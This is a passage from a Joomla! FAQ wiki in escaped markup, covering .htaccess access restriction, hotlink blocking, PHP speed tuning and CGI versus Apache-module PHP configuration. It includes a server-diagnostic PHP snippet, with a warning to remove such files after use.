8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
